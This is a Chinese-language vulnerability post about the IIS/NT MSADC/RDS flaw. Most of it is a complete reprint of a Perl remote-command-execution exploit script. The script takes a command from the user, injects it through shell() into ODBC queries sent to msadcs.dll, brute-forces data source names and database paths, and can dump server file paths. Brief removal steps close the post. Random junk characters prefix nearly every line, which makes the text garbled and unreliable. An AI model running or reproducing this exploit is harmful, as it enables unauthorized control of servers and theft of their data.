IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Yf%[6Y{ p=je"{ 涉及程序：
Au%Wrk3j Microsoft NT server
=W97|BIW, OqUE4. vIP 描述：
GhaAvyN 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
j>0SE
Fvcq^uZ 详细：
>V77X+! 如果你没有时间读详细内容的话，就删除:
~6pCOS} c:\Program Files\Common Files\System\Msadc\msadcs.dll
&ij^FAM 有关的安全问题就没有了。
4{1c7g rQA bN6 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
]&; G\9$y (*c`<|) 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
- #:Y+"' 关于利用ODBC远程漏洞的描述，请参看:
xNkwTDN5 u:p:*u_^I http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm +U c&%Px M ]pel\{M 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
4
g/<).1<b http://www.microsoft.com/security/bulletins/MS99-025faq.asp _r^G%Mvy| _j |n}7a 这里不再论述。
GNj/jU<o! 'ocwXyP, 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
,L8I7O}A ; =[O<.'aG- /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Feinc Z!M 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
> (YPkmH ~Y}Z4" o < '+R%6 #将下面这段保存为txt文件，然后: "perl -x 文件名"
fM
zAf3 P,LXZ #!perl
I NFz X #
V9);kD # MSADC/RDS 'usage' (aka exploit) script
" J0Oa? #
l)2HHu< # by rain.forest.puppy
kKI!B`j=
#
6='_+{
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
z; Gbqr?{{ # beta test and find errors!
7m@^ =w Z"PD Owj5 use Socket; use Getopt::Std;
|M0,%~Kt getopts("e:vd:h:XR", \%args);
.LhbhUEfn OQX{<pQ6 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
lMI
ix0sSj d(dw]6 I6 if (!defined $args{h} && !defined $args{R}) {
g~WNL^GGS print qq~
@[Jt~v Usage: msadc.pl -h <host> { -d <delay> -X -v }
u"CIPc{Sr -h <host> = host you want to scan (ip or domain)
4YB7og%P -d <seconds> = delay between calls, default 1 second
~6Ee=NaLzP -X = dump Index Server path table, if available
S]e~)I gO -v = verbose
jwt XI\@MS -e = external dictionary file for step 5
Rqd %#v a)yNXn8E_ Or a -R will resume a command session
a5A cqa Dk. 9&9mz ~; exit;}
lpX p )r+ ct|'I]nB.h $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
au9Wo<mR if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
D aqy+: if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
* <h if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
<8xP-( wk; $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
M cMK|_H if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
_<' kzOj Vzv.e6_ if (!defined $args{R}){ $ret = &has_msadc;
}Rf :DmPE die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
"E e/q :` P*qNRP% print "Please type the NT commandline you want to run (cmd /c assumed):\n"
BIB>U W . "cmd /c ";
o^"d2= $in=<STDIN>; chomp $in;
WRU@i;l $command="cmd /c " . $in ;
MjF.> 4 t&?v9n"X if (defined $args{R}) {&load; exit;}
C">=2OO =-B3vd:LF print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
:4L5@>b- &try_btcustmr;
ztxQv5=:, =B 4g EWR print "\nStep 2: Trying to make our own DSN...";
VAB&&AL
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
8a If{(/k 0m|
Gp print "\nStep 3: Trying known DSNs...";
xuH<=-O>ki &known_dsn;
e|+;j}^C ,LW%'tQ~" print "\nStep 4: Trying known .mdbs...";
K5c7>I%k &known_mdb;
5['B-
Iw O|g!Y( if (defined $args{e}){
4 d 1Y\ print "\nStep 5: Trying dictionary of DSN names...";
F|M L$ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
S:GUR6g8D C?c -V, print "Sorry Charley...maybe next time?\n";
p?gLW /n exit;
MBTt' 6M SO jDtZ ##############################################################################
H jY-b*B 7g<`w LAH sub sendraw { # ripped and modded from whisker
DEeL 48{R sleep($delay); # it's a DoS on the server! At least on mine...
xo"4mbTV my ($pstr)=@_;
0b QiUcg/ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
QCY{D@7T die("Socket problems\n");
So]FDd if(connect(S,pack "SnA4x8",2,80,$target)){
NS/L! "g select(S); $|=1;
nO7o7bc print $pstr; my @in=<S>;
D+U/ ]sW select(STDOUT); close(S);
y&I|m return @in;
an5kR_= } else { die("Can't connect...\n"); }}
TD= /C| ;s /b_RN ##############################################################################
%D6Wlf+^n _q 9lr8hx sub make_header { # make the HTTP request
=$z$VbBv my $msadc=<<EOT
hO@v\@;r POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
wyhf:!-I User-Agent: ACTIVEDATA
y Q @=\' Host: $ip
EqDYQ
7 Content-Length: $clen
~ M>zO#U6 Connection: Keep-Alive
qQR YHo>/e [/,6O ADCClientVersion:01.06
Rw ^ YTv Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
<"Cwy0V kp pnw4QQ9 --!ADM!ROX!YOUR!WORLD!
S^"e5n2 Content-Type: application/x-varg
z00:59M 4 Content-Length: $reqlen
{%k;V ~ /!uBk3x: EOT
5dEO_1q
% ; $msadc=~s/\n/\r\n/g;
e.YchG TQ return $msadc;}
7T;RXrT n&78~@H ##############################################################################
ok _{8z\# xR6IXF>* sub make_req { # make the RDS request
MifgRUe my ($switch, $p1, $p2)=@_;
A;nmua-Fv my $req=""; my $t1, $t2, $query, $dsn;
=5_F9nk- # i=^WN<V if ($switch==1){ # this is the btcustmr.mdb query
$I]x &cF $query="Select * from Customers where City=" . make_shell();
B148wh#r $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
BW\5RIWwE5 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
K KXb, / U8Jj(]},_ elsif ($switch==2){ # this is general make table query
-6 Si $query="create table AZZ (B int, C varchar(10))";
j/ IZm)\ $dsn="$p1";}
%~VIxY |d >f05+%^[ elsif ($switch==3){ # this is general exploit table query
aJ_Eh(cF $query="select * from AZZ where C=" . make_shell();
M<m64{m1 $dsn="$p1";}
F+9`G[ )H, <i{80c elsif ($switch==4){ # attempt to hork file info from index server
M!DoR6 $query="select path from scope()";
nhhJUN?8 $dsn="Provider=MSIDXS;";}
Kqu7DZ+W 0J-ux"kfI elsif ($switch==5){ # bad query
WbzL!zLd! $query="select";
rbS= Ewk $dsn="$p1";}
;-Dd\\)p S^n4aBm\+ $t1= make_unicode($query);
}4MG114j $t2= make_unicode($dsn);
sU!q~`; J $req = "\x02\x00\x03\x00";
I}A#* iD $req.= "\x08\x00" . pack ("S1", length($t1));
C:EoUu $req.= "\x00\x00" . $t1 ;
;mxT >|z $req.= "\x08\x00" . pack ("S1", length($t2));
`IQC\DSl/ $req.= "\x00\x00" . $t2 ;
:L zj'Ij $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
& .4a return $req;}
qr;" K? NX 3AL=*qq ##############################################################################
Q >*K/%KD gb# wrI sub make_shell { # this makes the shell() statement
LMzYsXG*[ return "'|shell(\"$command\")|'";}
J(VZa_ AG0x) ##############################################################################
FMr$cKvE]W P.J}\;S T sub make_unicode { # quick little function to convert to unicode
U}Fk%Jj my ($in)=@_; my $out;
uCr for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
}}2hI` return $out;}
\$UU/\ },ZL8l{ ##############################################################################
TrA Uu`?# qz2d'OhmtH sub rdo_success { # checks for RDO return success (this is kludge)
7U0):11X# my (@in) = @_; my $base=content_start(@in);
V1qHl5" if($in[$base]=~/multipart\/mixed/){
<v^.FxId return 1 if( $in[$base+10]=~/^\x09\x00/ );}
-e\kIK
% return 0;}
~WLsqP5Y~a U]3JCZ{]0E ##############################################################################
Bv*h ?`Q \hc9R k sub make_dsn { # this makes a DSN for us
Wm_-T]#_ my @drives=("c","d","e","f");
^O"`.2O1 print "\nMaking DSN: ";
_{);n$ ` foreach $drive (@drives) {
P=z':4,M} print "$drive: ";
j*
?MFvwE my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
[_Z3v ,vt, "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
qeGOSGc_ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
@L7rE)AU. $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
PrxXL/6 return 0 if $2 eq "404"; # not found/doesn't exist
f& *E;l0 if($2 eq "200") {
$ OuA<- foreach $line (@results) {
$a1 .c;NE' return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
o LRio.u* } return 0;}
BpE[9N ?2c:|FD ##############################################################################
$5O&[/L A;PV,2|X sub verify_exists {
_JoA=< O! my ($page)=@_;
2US8<sq+ my @results=sendraw("GET $page HTTP/1.0\n\n");
K~G^jAk+ return $results[0];}
0\A[a4crj s5@^g8(+C ##############################################################################
W;W\L? r ;kA2"c] m sub try_btcustmr {
\t3i9#Q my @drives=("c","d","e","f");
wEyh;ID3# my @dirs=("winnt","winnt35","winnt351","win","windows");
[c~zO+x }=5(*Vg foreach $dir (@dirs) {
$>Do&TU
print "$dir -> "; # fun status so you can see progress
p !
1zhD foreach $drive (@drives) {
iLei-\w6y print "$drive: "; # ditto
vzPrG%Uu7g $reqlen=length( make_req(1,$drive,$dir) ) - 28;
KxI(# }5o& $reqlenlen=length( "$reqlen" );
>ZWm0nTr $clen= 206 + $reqlenlen + $reqlen;
='azVw%_ )JON&~C my @results=sendraw(make_header() . make_req(1,$drive,$dir));
J3v uh# if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
+(T,d ]o] else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
:} cAq/ >~k
Y{_ ##############################################################################
H6QQ<~_& ]RJ2`x f sub odbc_error {
=s<QN*zJB0 my (@in)=@_; my $base;
c$TBHK;c my $base = content_start(@in);
0'",4=c#V if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
4`B:Mq&j $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
bcg)K`' N $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
A,@"(3 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/);6 j,x return $in[$base+4].$in[$base+5].$in[$base+6];}
{Gy_QRsp, print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
1l{n`gR print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
z841g `:C $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
DzMk eX nLQ J~(" ##############################################################################
.7q#{`K^= L;;x%> sub verbose {
&0myA_So my ($in)=@_;
e %#f9i return if !$verbose;
B Xp3u|t print STDOUT "\n$in\n";}
J2-xnUa]7 8vCHH&` ##############################################################################
L'(^[vR( D!CGbP( sub save {
mj pH)6aD0 my ($p1, $p2, $p3, $p4)=@_;
#v1 4"s Z} open(OUT, ">rds.save") || print "Problem saving parameters...\n";
wlJ_, wA print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
1Y_ fX close OUT;}
2 q>4nN dpS ##############################################################################
) PtaX|U 2]l*{l^ Bl sub load {
v%r! }s my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
r i z({ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
IdM ;N @p=<IN>; close(IN);
\% (R~ H $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
WO^h\#^n $target= inet_aton($ip) || die("inet_aton problems");
xxYFW vi print "Resuming to $ip ...";
1E(pJu'K $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
d)@M MF if($p[1]==1) {
6_7d1.wv9 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Ek:u[Uw\ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
/V ^S)5r my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
*)Y;`Yg$ if (rdo_success(@results)){print "Success!\n";}
}[|"db
else { print "failed\n"; verbose(odbc_error(@results));}}
B dSTB" elsif ($p[1]==3){
p< YO3@B+ if(run_query("$p[3]")){
tSjK=1"} print "Success!\n";} else { print "failed\n"; }}
& b%6pVj elsif ($p[1]==4){
,b/0_ Q if(run_query($drvst . "$p[3]")){
>2ct1_ print "Success!\n"; } else { print "failed\n"; }}
5:6 mpt n> exit;}
QP'*
)gjO7 (N P=5lLH ##############################################################################
W'[!4RQL VYO O8MQI sub create_table {
x&s F_<[ my ($in)=@_;
({)_[dJ' $reqlen=length( make_req(2,$in,"") ) - 28;
q
/#O :Q $reqlenlen=length( "$reqlen" );
$O[ut. $clen= 206 + $reqlenlen + $reqlen;
( %bfNs| my @results=sendraw(make_header() . make_req(2,$in,""));
RZ -w,~ return 1 if rdo_success(@results);
6eb5 q/ my $temp= odbc_error(@results); verbose($temp);
7}xKiHh: return 1 if $temp=~/Table 'AZZ' already exists/;
3|C"F-'< return 0;}
t]V)3Ww B $HQFdTli ##############################################################################
8`+X6iZOQ XHW{EVcF sub known_dsn {
z-,'W` # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
' Mg%G(3 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
)K}b,X`($ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
cWm.'] "banner", "banners", "ads", "ADCDemo", "ADCTest");
]uP {Sj R1U\ / foreach $dSn (@dsns) {
iS{)Tll}& print ".";
1 oC/W? l^ next if (!is_access("DSN=$dSn"));
0-QkRr_ I if(create_table("DSN=$dSn")){
uzsR*x%s- print "$dSn successful\n";
s;A] GJ if(run_query("DSN=$dSn")){
q.*qZ\;K print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
\]^|IViIQ print "Something's borked. Use verbose next time\n";}}} print "\n";}
,y^By_1wS ,5q^/h ##############################################################################
t
;[Me0 t.m
$|M> sub is_access {
z*Fl ZLHY my ($in)=@_;
Ih{~?(V$ $reqlen=length( make_req(5,$in,"") ) - 28;
2)G ZU $reqlenlen=length( "$reqlen" );
X;- ,3dy $clen= 206 + $reqlenlen + $reqlen;
a].Bn#AH!C my @results=sendraw(make_header() . make_req(5,$in,""));
]UMwpL&rY my $temp= odbc_error(@results);
;$Wa=wHb verbose($temp); return 1 if ($temp=~/Microsoft Access/);
y};qo'dlt return 0;}
r/PsFv{8 3#dUQ1qo6 ##############################################################################
'oo]oeJ- Cu >pql<O sub run_query {
k (Ow.nkb my ($in)=@_;
-"<eq0 $reqlen=length( make_req(3,$in,"") ) - 28;
;e-iiC]PI $reqlenlen=length( "$reqlen" );
m0:8t hZN $clen= 206 + $reqlenlen + $reqlen;
NvYgRf}uh my @results=sendraw(make_header() . make_req(3,$in,""));
,TL~];J' return 1 if rdo_success(@results);
{C
7= my $temp= odbc_error(@results); verbose($temp);
]RxNSr0e return 0;}
#Qkl| h CnAh Ef)b ##############################################################################
5e/%Tue. j J9| sub known_mdb {
ow+ NT my @drives=("c","d","e","f","g");
Yd ]f}5F my @dirs=("winnt","winnt35","winnt351","win","windows");
v%_s Cg my $dir, $drive, $mdb;
cZ5[ A T my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
2t_E\W7w+ MEg|AhP # this is sparse, because I don't know of many
9 ~a_^m/ my @sysmdbs=( "\\catroot\\icatalog.mdb",
~]N%
{;F} "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
2PRGwK/ "\\system32\\certmdb.mdb",
ctj.rC)6n "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Oy z=|[^,W dNIY `u my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
fE7Kv_N-% "\\cfusion\\cfapps\\forums\\forums_.mdb",
vG<Mz?wr "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Dt8eVWkN ~ "\\cfusion\\cfapps\\security\\realm_.mdb",
Y8Mo . v "\\cfusion\\cfapps\\security\\data\\realm.mdb",
N#|c2n+ "\\cfusion\\database\\cfexamples.mdb",
/bg8oB4 "\\cfusion\\database\\cfsnippets.mdb",
2H4+D) "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
N:=D@x~] "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
d
;r y!X "\\cfusion\\brighttiger\\database\\cleam.mdb",
e ;Q~P]x "\\cfusion\\database\\smpolicy.mdb",
w:pc5N>we0 "\\cfusion\\database\cypress.mdb",
NJn ~X Cq "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
gJ2R(YMF "\\website\\cgi-win\\dbsample.mdb",
n Q8 EV>j2 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
=_=jXWOQv "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
H3MT.Cpd ); #these are just
1w?X~VZAX foreach $drive (@drives) {
N+h|Ffnp foreach $dir (@dirs){
x%LWcT/ foreach $mdb (@sysmdbs) {
.nT"f>S&' print ".";
a]75z)X R if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
wtMS<$ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
!! #\P7P if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
8iq~ha$]| print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
H,] D}r } else { print "Something's borked. Use verbose next time\n"; }}}}}
gm4-w 9M[p :s*&_y foreach $drive (@drives) {
'v4AM@%u foreach $mdb (@mdbs) {
~d28"p.7 print ".";
}k'8*v}8 if(create_table($drv . $drive . $dir . $mdb)){
HD E q q print "\n" . $drive . $dir . $mdb . " successful\n";
)07M8o !^l if(run_query($drv . $drive . $dir . $mdb)){
C!v0*^i print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
`4XfT.9GT } else { print "Something's borked. Use verbose next time\n"; }}}}
k5W5 9tz }
M1VRc[
RRo S tn[M| ##############################################################################
=T;%R^@ ^k~{6S, sub hork_idx {
>pz/wTOi print "\nAttempting to dump Index Server tables...\n";
-K+gr sb
g print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
J>x)J}: ; $reqlen=length( make_req(4,"","") ) - 28;
:Ruj;j $reqlenlen=length( "$reqlen" );
jt;68SA
P $clen= 206 + $reqlenlen + $reqlen;
6]na#< my @results=sendraw2(make_header() . make_req(4,"",""));
bSBI[S
if (rdo_success(@results)){
,1QU my $max=@results; my $c; my %d;
Z$Qlr:7 for($c=19; $c<$max; $c++){
#kk_iS>8 $results[$c]=~s/\x00//g;
N qz-Mr` $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
bMf +/n $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
R~)c(jj5 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
k:R9wo $d{"$1$2"}="";}
L KztGfy foreach $c (keys %d){ print "$c\n"; }
Q-Bci Bh$ } else {print "Index server doesn't seem to be installed.\n"; }}
Ywlym\
[+ n8J';F
=P ##############################################################################
[96|xe\s 7?b'" X" sub dsn_dict {
Kq{9 :G open(IN, "<$args{e}") || die("Can't open external dictionary\n");
4TUe*F@
ML while(<IN>){
Z3"f7 l6 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
I x-FJF- next if (!is_access("DSN=$dSn"));
{U7j if(create_table("DSN=$dSn")){
X2Y-TE T print "$dSn successful\n";
^2 5$=0 if(run_query("DSN=$dSn")){
# >[+6y]U! print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
v-4e N1OS print "Something's borked. Use verbose next time\n";}}}
t~ gnai print "\n"; close(IN);}
qky{]qNW UP%X` ##############################################################################
^P(HX {H"xC~. sub sendraw2 { # ripped and modded from whisker
5zfPh`U>1 sleep($delay); # it's a DoS on the server! At least on mine...
ExV>s* y my ($pstr)=@_;
z_CBOJl#C! socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
.#EmE'IP* die("Socket problems\n");
LR'F/.Dx if(connect(S,pack "SnA4x8",2,80,$target)){
5=5~GX-kr print "Connected. Getting data";
MhHygZT[} open(OUT,">raw.out"); my @in;
w IL5-k, select(S); $|=1; print $pstr;
^BSMlKyB while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
wQ@@|Cj4L close(OUT); select(STDOUT); close(S); return @in;
99H&#!~bSS } else { die("Can't connect...\n"); }}
DYbkw4Z, &\`=} hB ##############################################################################
0|HD(d`a qzsS"=5 sub content_start { # this will take in the server headers
pOpie5)7X my (@in)=@_; my $c;
v6TH- for ($c=1;$c<500;$c++) {
$ v$~. if($in[$c] =~/^\x0d\x0a/){
E.4`aJ@>d if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Q_qc_IcM y else { return $c+1; }}}
mp%i(Y"vp return -1;} # it should never get here actually
o1-Zh!*a* <JDkvpckx. ##############################################################################
Z3T:R"l; |Zncr9b sub funky {
eB^:+h#A_ my (@in)=@_; my $error=odbc_error(@in);
8xZN4ck_@ if($error=~/ADO could not find the specified provider/){
l^WFMeMD3a print "\nServer returned an ADO miscofiguration message\nAborting.\n";
, B h[jb`y exit;}
)# M*@e$k if($error=~/A Handler is required/){
Ga"$_DyM print "\nServer has custom handler filters (they most likely are patched)\n";
5}E 8Tl exit;}
kMf]~EZ? if($error=~/specified Handler has denied Access/){
)nTOIfP2 print "\nServer has custom handler filters (they most likely are patched)\n";
mvlK ~c8 exit;}}
n"- cX) ; Rt?&&W ##############################################################################
Skq%S`1%Q Ri " 3o sub has_msadc {
z9u"?vdA my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
XM>ByfD{ my $base=content_start(@results);
zf4@:GM` return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
sGc4^Z%l? return 0;}
n\ZDI+X 9=K=gf Z ########################
(]0ZxWF [#$z.BoEo y!)Z ^u 解决方案：
tA Pqbi$a 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
0r.*7aXu
2、移除web 目录: /msadc
